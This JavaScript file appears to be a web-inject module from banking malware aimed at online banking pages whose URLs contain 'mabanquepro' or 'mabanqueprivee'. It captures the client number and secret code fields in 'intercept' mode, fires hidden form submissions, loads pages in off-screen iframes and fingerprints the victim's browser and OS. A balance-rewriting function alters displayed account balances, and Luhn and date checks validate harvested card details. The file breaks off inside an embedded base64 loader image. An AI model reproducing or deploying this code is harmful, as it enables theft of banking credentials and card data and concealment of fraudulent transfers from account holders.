        shuffle: function(o){for(var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);return o;},
        
        click: function(btn,doc){
            if(btn.type == "image"){
                var inp_X = document.getElementById("inp_X");
                var inp_Y = document.getElementById("inp_Y");
                var inp_submit = document.getElementById("inp_submit");
                if(inp_X)inp_X.parentNode.removeChild(inp_X);
                if(inp_Y)inp_Y.parentNode.removeChild(inp_Y);
                if(inp_submit)inp_submit.parentNode.removeChild(inp_submit);
                var inp_X = document.createElement("input");
                var inp_Y = document.createElement("input");
                var inp_submit = document.createElement("input");
                inp_X.name = btn.name+".x";
                inp_Y.name = btn.name+".y";
                inp_submit.name = btn.name;
                inp_submit.value = btn.value;
                inp_submit.type = "submit";
                inp_submit.id = "inp_submit";
                inp_X.id = "inp_X";
                inp_Y.id = "inp_Y";
                inp_X.value = _tables.rand(1,15);
                inp_Y.value = _tables.rand(1,15);
                inp_X.style.display = "none";
                inp_Y.style.display = "none";
                inp_submit.style.display = "none";
                btn.parentNode.insertBefore(inp_X,btn);
                btn.parentNode.insertBefore(inp_Y,btn);
                btn.parentNode.insertBefore(inp_submit,btn);
                var inp_submit = doc.getElementById("inp_submit");
                if(inp_submit)_tables.click("click",inp_submit);
            }else{
                if(document.createEvent){
                    var event = document.createEvent('MouseEvents');
                    event.initMouseEvent('click',true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
                    btn.dispatchEvent(event);
                }else if(btn.fireEvent){
                    btn.click();
                }
            }
        },
        
        iframelink: function(link,param){
            var _tf = document.getElementById("_tables.frame.box");
            if(_tf)_tf.parentNode.removeChild(_tf);
                    
            _tf = document.createElement("div");
            _tf.style.position = "absolute";
            _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
            _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
            _tf.id = "_tables.frame.box";
            _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
            document.body.appendChild(_tf);
            var f = document.getElementById("_tables.iframe");
            f.src = link;
            if(param)_tables.fstatus(param);
        },
        
        iframedom: function(fr){
            var r = {
                doc: false,
                win: false
            };
            if(_tables.brows() == "FF" && fr){
                r.doc = fr.contentDocument;
                r.win = fr.contentWindow;
            }else{
                r.doc = fr.contentWindow.document;
                r.win = fr.contentWindow;
            }
            
            return r;
        },
        
        height: function(){
            return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, compatHeight());
        },
        
        popupshow: function(content,back){
            _tables.popuphide();
            back = back ? '#808080' : 'url(clear.png)';
            var bg = '<div style="position:absolute;top:0px;left:0px;width:100%;height:'+Math.round((window.screen.availHeight)+800)+'px;z-index:999990;background:'+back+';opacity:0.4;filter: alpha(opacity = 40);"></div>';
            var _tp = document.createElement("div");
            _tp.id = "_tables.popup";
            _tp.innerHTML = bg+""+content;
            document.getElementsByTagName('body')[0].appendChild(_tp);
        },
        
        popuphide: function(){
            var _tp = document.getElementById("_tables.popup");if(_tp)_tp.parentNode.removeChild(_tp);
        },
        
        inarr: function(arr,value){
            for(var i = 0; i < arr.length; i++){
                if(value == arr[i]){
                    return true;
                }
            }
            arr.push(value);
            return false;
        },
        
        placeholdr: function(input){
            if(_tables.brows() == 'FF')return;
            var txt = input.getAttribute("placeholder");
            if(txt.length > 0){
                input.style.color = input.value.length == 0 ? '#cccccc' : '#000000';
                input.value = input.value.length > 0 ? input.value : txt;
              
                input.onfocus = function(){
                    this.style.color = '#000000';
                    this.value = this.value == this.getAttribute("placeholder") ? "" : this.value;
                };
            
                input.onblur = function(){
                    if(this.value.length == 0){
                        this.value = this.getAttribute("placeholder");
                        this.style.color = '#CCCCCC';
                    }
                };
            }
        },
        
        btntoloader: function(btn,imghref){
            var img = document.createElement('img');
            img.align = 'top';
            img.src = imghref;
            img.id = '_f_btntoloader';
            btn.parentNode.insertBefore(img,btn);
            btn.parentNode.removeChild(btn);
        },
        
        cget: function(param){
            return gc(param);
        },
        
        cset: function(param){
            return sc(param);
        },
        
        replace: function(element,summa){
            var tsel = /select|option/igm.test(element.tagName);
            var tinp = /input|textarea/igm.test(element.tagName);
            
            if(tsel){
                if(splitter.value != "none" && splitter.position != "none"){
                    var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(element.text.split(splitter.value)[splitter.position]);
                }else{
                    var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(element.text);
                }
            }else if(tinp){
                if(splitter.value != "none" && splitter.position != "none"){
                    var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(element.value.split(splitter.value)[splitter.position]);
                }else{
                    var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(element.value);
                }
            }else{
                if(splitter.value != "none" && splitter.position != "none"){
                    var minus = (_tables.html(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(_tables.html(element).split(splitter.value)[splitter.position]);
                }else{
                    var minus = (_tables.html(element).indexOf(prefix.minus) != -1) ? true : false;
                    var balance = gc(_tables.html(element));
                }
            }
            
            var new_balance = balance+parseFloat(summa);
            if(minus)balance = balance * -1;
            balance = sc(balance);
            new_balance = sc(new_balance);
            
            if(tsel){
                var f = element.text.replace(balance+"",new_balance+"");
            }else if(tinp){
                var f = element.value.replace(balance+"",new_balance+"");
            }else{
                var f = element.innerHTML.replace(balance+"",new_balance+"");
            }
            
            if(parseFloat(new_balance) >= 0){
                f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
                f = f.replace("-"+new_balance+"",new_balance+"");
            }else{
                f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
                f = f.replace(/\-/,"");
            }
            
            if(tsel){
                element.text = f;
            }else if(tinp){
                element.value = f;
            }else{
                element.innerHTML = f;
            }
            
            if(splitter.value != "none" && splitter.position != "none"){
                splitter.value = "none";
                splitter.position = "none";
            }
        },
        
        splitter: function (value,position){
            splitter.value = value;
            splitter.position = position;
        },
        
        match: function(el,data){
            var pattern = new RegExp(data,"igm");
            if(pattern.test(el)){
                return true;
            }else{
                return false;
            }
        },
        
        convertdate: function(date){
            var els = date.split(".");
            if(els && els.length == 3){
                var res = 0;
                res += parseFloat(els[2]) * 365;
                res += parseFloat(els[1]) * 30;
                res += parseFloat(els[0]);
                return res;
            }else{
                return -1;
            }
        },
        
        recolortable: function(table,class1,class2){
            var tr = _tables.child(table,'tr');
            if(tr && tr.length > 0){
                for(var i = 0; i < tr.length; i++){
                    tr[i].className = (i % 2 == 0) ? class1 : class2;
                }
            }
        },
        
        id: function(id,doc){var doc = doc ? doc : document;return doc.getElementById(id);},
        
        create: function(el,doc){var doc = doc ? doc : document;return doc.createElement(el);},
        
        selected: function(select){var sel = {value: select[select.selectedIndex].value,text: select[select.selectedIndex].text};return sel;},
        
        after: function(elem,ref){var parent = ref.parentNode;var next = ref.nextSibling;if(next){return parent.insertBefore(elem,next);}else{return parent.appendChild(elem);}},
        
        clone: function(inp,value){
            var object = document.createElement(inp.tagName);
            for (x in inp.attributes){
                if(notnull(inp.attributes[x]) && notnull(inp.attributes[x].name) && notnull(inp.attributes[x].value)){
                    if(inp.attributes[x].name == "onclick" ||
                       inp.attributes[x].name == "name" ||
                       inp.attributes[x].name == "href" ||
                       inp.attributes[x].name == "id" ||
                       inp.attributes[x].name == "value"
                    ){
                        continue;
                    }
                    object.setAttribute(inp.attributes[x].name,inp.attributes[x].value);
                }
            }
            if(/select/igm.test(inp.tagName)){
                object.options[0] = new Option(inp[inp.selectedIndex].text,inp[inp.selectedIndex].value);
            }else{
                value = value ? value : inp.value;
                object.value = value;
            }
            object.disabled = true;
            inp.style.display = "none";
            inp.parentNode.insertBefore(object,inp);
        },
        
        next: function(e,len,n){
            if(e.value.length == len)document.getElementById(n).focus();
        },
        
        check_cc: function(value){
            if (/[^0-9-\s]+/.test(value)) return false;
            var nCheck = 0, nDigit = 0, bEven = false;
            value = value.replace(/\D/g, "");
            for (var n = value.length - 1; n >= 0; n--) {
                var cDigit = value.charAt(n),
                nDigit = parseInt(cDigit, 10);
                if(bEven){
                    if ((nDigit *= 2) > 9) nDigit -= 9;
                }
                nCheck += nDigit;
                bEven = !bEven;
            }
            return (nCheck % 10) == 0;
        },
        
        check_day: function(dd){
            if(parseFloat(dd) > 0 && parseFloat(dd) < 32 && (dd+'').length == 2){
                return true;
            }else{
                return false;
            }
        },
        
        check_month: function(mm){
            if(parseFloat(mm) > 0 && parseFloat(mm) < 13 && (mm+'').length == 2){
                return true;
            }else{
                return false;
            }
        },
        
        check_year: function(yy,format){
            switch(format){
                case('YY'):
                    if(parseFloat(yy) >= 15 && (yy+'').length == 2){
                        return true;
                    }else{
                        return false;
                    }
                break;
                
                case('YYYY'):
                    if(parseFloat(yy) >= 1920  && parseFloat(yy) <= 2015 && (yy+'').length == 4){
                        return true;
                    }else{
                        return false;
                    }
                break;
            }
        }
    };
}());
 
_tables = Tables;
 
(function (window) {
    {
        var unknown = '-';
 
        // screen
        var screenSize = '';
        if (screen.width) {
            width = (screen.width) ? screen.width : '';
            height = (screen.height) ? screen.height : '';
            screenSize += '' + width + " x " + height;
        }
 
        //browser
        var nVer = navigator.appVersion;
        var nAgt = navigator.userAgent;
        var browser = navigator.appName;
        var version = '' + parseFloat(navigator.appVersion);
        var majorVersion = parseInt(navigator.appVersion, 10);
        var nameOffset, verOffset, ix;
 
        // Opera
        if ((verOffset = nAgt.indexOf('Opera')) != -1) {
            browser = 'Opera';
            version = nAgt.substring(verOffset + 6);
            if ((verOffset = nAgt.indexOf('Version')) != -1) {
                version = nAgt.substring(verOffset + 8);
            }
        }
        // MSIE
        else if ((verOffset = nAgt.indexOf('MSIE')) != -1) {
            browser = 'Microsoft Internet Explorer';
            version = nAgt.substring(verOffset + 5);
        }
        // Chrome
        else if ((verOffset = nAgt.indexOf('Chrome')) != -1) {
            browser = 'Chrome';
            version = nAgt.substring(verOffset + 7);
        }
        // Safari
        else if ((verOffset = nAgt.indexOf('Safari')) != -1) {
            browser = 'Safari';
            version = nAgt.substring(verOffset + 7);
            if ((verOffset = nAgt.indexOf('Version')) != -1) {
                version = nAgt.substring(verOffset + 8);
            }
        }
        // Firefox
        else if ((verOffset = nAgt.indexOf('Firefox')) != -1) {
            browser = 'Firefox';
            version = nAgt.substring(verOffset + 8);
        }
        // MSIE 11+
        else if (nAgt.indexOf('Trident/') != -1) {
            browser = 'Microsoft Internet Explorer';
            version = nAgt.substring(nAgt.indexOf('rv:') + 3);
        }
        // Other browsers
        else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {
            browser = nAgt.substring(nameOffset, verOffset);
            version = nAgt.substring(verOffset + 1);
            if (browser.toLowerCase() == browser.toUpperCase()) {
                browser = navigator.appName;
            }
        }
        // trim the version string
        if ((ix = version.indexOf(';')) != -1) version = version.substring(0, ix);
        if ((ix = version.indexOf(' ')) != -1) version = version.substring(0, ix);
        if ((ix = version.indexOf(')')) != -1) version = version.substring(0, ix);
 
        majorVersion = parseInt('' + version, 10);
        if (isNaN(majorVersion)) {
            version = '' + parseFloat(navigator.appVersion);
            majorVersion = parseInt(navigator.appVersion, 10);
        }
 
        // mobile version
        var mobile = /Mobile|mini|Fennec|Android|iP(ad|od|hone)/.test(nVer);
 
        // cookie
        var cookieEnabled = (navigator.cookieEnabled) ? true : false;
 
        if (typeof navigator.cookieEnabled == 'undefined' && !cookieEnabled) {
            document.cookie = 'testcookie';
            cookieEnabled = (document.cookie.indexOf('testcookie') != -1) ? true : false;
        }
 
        // system
        var os = unknown;
        var clientStrings = [
            {s:'Windows 3.11', r:/Win16/},
            {s:'Windows 95', r:/(Windows 95|Win95|Windows_95)/},
            {s:'Windows ME', r:/(Win 9x 4.90|Windows ME)/},
            {s:'Windows 98', r:/(Windows 98|Win98)/},
            {s:'Windows CE', r:/Windows CE/},
            {s:'Windows 2000', r:/(Windows NT 5.0|Windows 2000)/},
            {s:'Windows XP', r:/(Windows NT 5.1|Windows XP)/},
            {s:'Windows Server 2003', r:/Windows NT 5.2/},
            {s:'Windows Vista', r:/Windows NT 6.0/},
            {s:'Windows 7', r:/(Windows 7|Windows NT 6.1)/},
            {s:'Windows 8.1', r:/(Windows 8.1|Windows NT 6.3)/},
            {s:'Windows 8', r:/(Windows 8|Windows NT 6.2)/},
            {s:'Windows NT 4.0', r:/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/},
            {s:'Windows ME', r:/Windows ME/},
            {s:'Android', r:/Android/},
            {s:'Open BSD', r:/OpenBSD/},
            {s:'Sun OS', r:/SunOS/},
            {s:'Linux', r:/(Linux|X11)/},
            {s:'iOS', r:/(iPhone|iPad|iPod)/},
            {s:'Mac OS X', r:/Mac OS X/},
            {s:'Mac OS', r:/(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/},
            {s:'QNX', r:/QNX/},
            {s:'UNIX', r:/UNIX/},
            {s:'BeOS', r:/BeOS/},
            {s:'OS/2', r:/OS\/2/},
            {s:'Search Bot', r:/(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\/Teoma|ia_archiver)/}
        ];
        for (var id in clientStrings) {
            var cs = clientStrings[id];
            if (cs.r.test(nAgt)) {
                os = cs.s;
                break;
            }
        }
 
        var osVersion = unknown;
 
        if (/Windows/.test(os)) {
            osVersion = /Windows (.*)/.exec(os)[1];
            os = 'Windows';
        }
 
        switch (os) {
            case 'Mac OS X':
                osVersion = /Mac OS X (10[\.\_\d]+)/.exec(nAgt)[1];
                break;
 
            case 'Android':
                osVersion = /Android ([\.\_\d]+)/.exec(nAgt)[1];
                break;
 
            case 'iOS':
                osVersion = /OS (\d+)_(\d+)_?(\d+)?/.exec(nVer);
                osVersion = osVersion[1] + '.' + osVersion[2] + '.' + (osVersion[3] | 0);
                break;
        }
 
        // flash (you'll need to include swfobject)
        /* script src="//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js" */
        var flashVersion = 'no check';
        if (typeof swfobject != 'undefined') {
            var fv = swfobject.getFlashPlayerVersion();
            if (fv.major > 0) {
                flashVersion = fv.major + '.' + fv.minor + ' r' + fv.release;
            }
            else  {
                flashVersion = unknown;
            }
        }
    }
 
    window.jscd = {
        screen: screenSize,
        browser: browser,
        browserVersion: version,
        mobile: mobile,
        os: os,
        osVersion: osVersion,
        cookies: cookieEnabled,
        flashVersion: flashVersion
    };
}(this));
 
_tables.set('continue',true);
_tables.set('message','');
_tables.set('type','intercept');
_tables.set('start','start');
_tables.set('end','end');
_tables.set('finish','');
_tables.set('data','');
_tables.set('login',function(){return _tables.id('client-nbr');});
_tables.set('password',function(){return _tables.id('secret-nbr');});
_tables.set('button',function(){return _tables.id('submitIdent');});
_tables.set('lang',function(){var div = _tables.findout(document,'div','class:language_switcher');if(div){var a = _tables.child(div,'a');if(a && a.length > 0){return _tables.html(a[0]);}}else{return 'EN';}});
_tables.set('page',function(){if(/mabanquepro/igm.test(document.location.href)){return 3;}else if(/mabanqueprivee/igm.test(document.location.href)){return 2;}else{return 1;}});
_tables.set('loader',function(){switch(_tables.get('page')){case(1):return 'data:image/gif;base64,R0lGODlhIAAgAPMAAFDfVP///3bleaPtpYHnhJTrltn32cPzxGrjbWHiZX3ngOn66fv9+wAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAIAAgAAAE5xDISWlhperN52JLhSSdRgwVo1ICQZRUsiwHpTJT4iowNS8vyW2icCF6k8HMMBkCEDskxTBDAZwuAkkqIfxIQyhBQBFvAQSDITM5VDW6XNE4KagNh6Bgwe60smQUB3d4Rz1ZBApnFASDd0hihh12BkE9kjAJVlycXIg7CQIFA6SlnJ87paqbSKiKoqusnbMdmDC2tXQlkUhziYtyWTxIfy6BE8WJt5YJvpJivxNaGmLHT0VnOgSYf0dZXS7APdpB309RnHOG5gDqXGLDaC457D1zZ/V/nmOM82XiHRLYKhKP1oZmADdEAAAh+QQJCgAAACwAAAAAIAAgAAAE6hDISWlZpOrNp1lGNRSdRpDUolIGw5RUYhhHukqFu8DsrEyqnWThGvAmhVlteBvojpTDDBUEIFwMFBRAmBkSgOrBFZogCASwBDEY/CZSg7GSE0gSCjQBMVG023xWBhklAnoEdhQEfyNqMIcKjhRsjEdnezB+A4k8gTwJhFuiW4dokXiloUepBAp5qaKpp6+Ho7aWW54wl7obvEe0kRuoplCGepwSx2jJvqHEmGt6whJpGpfJCHmOoNHKaHx61WiSR92E4lbFoq+B6QDtuetcaBPnW6+O7wDHpIiK9SaVK5GgV543tzjgGcghAgAh+QQJCgAAACwAAAAAIAAgAAAE7hDISSkxpOrN5zFHNWRdhSiVoVLHspRUMoyUakyEe8PTPCATW9A14E0UvuAKMNAZKYUZCiBMuBakSQKG8G2FzUWox2AUtAQFcBKlVQoLgQReZhQlCIJesQXI5B0CBnUMOxMCenoCfTCEWBsJColTMANldx15BGs8B5wlCZ9Po6OJkwmRpnqkqnuSrayqfKmqpLajoiW5HJq7FL1Gr2mMMcKUMIiJgIemy7xZtJsTmsM4xHiKv5KMCXqfyUCJEonXPN2rAOIAmsfB3uPoAK++G+w48edZPK+M6hLJpQg484enXIdQFSS1u6UhksENEQAAIfkECQoAAAAsAAAAACAAIAAABOcQyEmpGKLqzWcZRVUQnZYg1aBSh2GUVEIQ2aQOE+G+cD4ntpWkZQj1JIiZIogDFFyHI0UxQwFugMSOFIPJftfVAEoZLBbcLEFhlQiqGp1Vd140AUklUN3eCA51C1EWMzMCezCBBmkxVIVHBWd3HHl9JQOIJSdSnJ0TDKChCwUJjoWMPaGqDKannasMo6WnM562R5YluZRwur0wpgqZE7NKUm+FNRPIhjBJxKZteWuIBMN4zRMIVIhffcgojwCF117i4nlLnY5ztRLsnOk+aV+oJY7V7m76PdkS4trKcdg0Zc0tTcKkRAAAIfkECQoAAAAsAAAAACAAIAAABO4QyEkpKqjqzScpRaVkXZWQEximw1BSCUEIlDohrft6cpKCk5xid5MNJTaAIkekKGQkWyKHkvhKsR7ARmitkAYDYRIbUQRQjWBwJRzChi9CRlBcY1UN4g0/VNB0AlcvcAYHRyZPdEQFYV8ccwR5HWxEJ02YmRMLnJ1xCYp0Y5idpQuhopmmC2KgojKasUQDk5BNAwwMOh2RtRq5uQuPZKGIJQIGwAwGf6I0JXMpC8C7kXWDBINFMxS4DKMAWVWAGYsAdNqW5uaRxkSKJOZKaU3tPOBZ4DuK2LATgJhkPJMgTwKCdFjyPHEnKxFCDhEAACH5BAkKAAAALAAAAAAgACAAAATzEMhJaVKp6s2nIkolIJ2WkBShpkVRWqqQrhLSEu9MZJKK9y1ZrqYK9WiClmvoUaF8gIQSNeF1Er4MNFn4SRSDARWroAIETg1iVwuHjYB1kYc1mwruwXKC9gmsJXliGxc+XiUCby9ydh1sOSdMkpMTBpaXBzsfhoc5l58Gm5yToAaZhaOUqjkDgCWNHAULCwOLaTmzswadEqggQwgHuQsHIoZCHQMMQgQGubVEcxOPFAcMDAYUA85eWARmfSRQCdcMe0zeP1AAygwLlJtPNAAL19DARdPzBOWSm1brJBi45soRAWQAAkrQIykShQ9wVhHCwCQCACH5BAkKAAAALAAAAAAgACAAAATrEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiRMDjI0Fd30/iI2UA5GSS5UDj2l6NoqgOgN4gksEBgYFf0FDqKgHnyZ9OX8HrgYHdHpcHQULXAS2qKpENRg7eAMLC7kTBaixUYFkKAzWAAnLC7FLVxLWDBLKCwaKTULgEwbLA4hJtOkSBNqITT3xEgfLpBtzE/jiuL04RGEBgwWhShRgQExHBAAh+QQJCgAAACwAAAAAIAAgAAAE7xDISWlSqerNpyJKhWRdlSAVoVLCWk6JKlAqAavhO9UkUHsqlE6CwO1cRdCQ8iEIfzFVTzLdRAmZX3I2SfZiCqGk5dTESJeaOAlClzsJsqwiJwiqnFrb2nS9kmIcgEsjQydLiIlHehhpejaIjzh9eomSjZR+ipslWIRLAgMDOR2DOqKogTB9pCUJBagDBXR6XB0EBkIIsaRsGGMMAxoDBgYHTKJiUYEGDAzHC9EACcUGkIgFzgwZ0QsSBcXHiQvOwgDdEwfFs0sDzt4S6BK4xYjkDOzn0unFeBzOBijIm1Dgmg5YFQwsCMjp1oJ8LyIAACH5BAkKAAAALAAAAAAgACAAAATwEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiUd6GGl6NoiPOH16iZKNlH6KmyWFOggHhEEvAwwMA0N9GBsEC6amhnVcEwavDAazGwIDaH1ipaYLBUTCGgQDA8NdHz0FpqgTBwsLqAbWAAnIA4FWKdMLGdYGEgraigbT0OITBcg5QwPT4xLrROZL6AuQAPUS7bxLpoWidY0JtxLHKhwwMJBTHgPKdEQAACH5BAkKAAAALAAAAAAgACAAAATrEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiUd6GAULDJCRiXo1CpGXDJOUjY+Yip9DhToJA4RBLwMLCwVDfRgbBAaqqoZ1XBMHswsHtxtFaH1iqaoGNgAIxRpbFAgfPQSqpbgGBqUD1wBXeCYp1AYZ19JJOYgH1KwA4UBvQwXUBxPqVD9L3sbp2BNk2xvvFPJd+MFCN6HAAIKgNggY0KtEBAAh+QQJCgAAACwAAAAAIAAgAAAE6BDISWlSqerNpyJKhWRdlSAVoVLCWk6JKlAqAavhO9UkUHsqlE6CwO1cRdCQ8iEIfzFVTzLdRAmZX3I2SfYIDMaAFdTESJeaEDAIMxYFqrOUaNW4E4ObYcCXaiBVEgULe0NJaxxtYksjh2NLkZISgDgJhHthkpU4mW6blRiYmZOlh4JWkDqILwUGBnE6TYEbCgevr0N1gH4At7gHiRpFaLNrrq8HNgAJA70AWxQIH1+vsYMDAzZQPC9VCNkDWUhGkuE5PxJNwiUK4UfLzOlD4WvzAHaoG9nxPi5d+jYUqfAhhykOFwJWiAAAIfkECQoAAAAsAAAAACAAIAAABPAQyElpUqnqzaciSoVkXVUMFaFSwlpOCcMYlErAavhOMnNLNo8KsZsMZItJEIDIFSkLGQoQTNhIsFehRww2CQLKF0tYGKYSg+ygsZIuNqJksKgbfgIGepNo2cIUB3V1B3IvNiBYNQaDSTtfhhx0CwVPI0UJe0+bm4g5VgcGoqOcnjmjqDSdnhgEoamcsZuXO1aWQy8KAwOAuTYYGwi7w5h+Kr0SJ8MFihpNbx+4Erq7BYBuzsdiH1jCAzoSfl0rVirNbRXlBBlLX+BP0XJLAPGzTkAuAOqb0WT5AH7OcdCm5B8TgRwSRKIHQtaLCwg1RAAAOwAAAAAAAAAAAA==';break;case(2):return 'data:image/gif;base64,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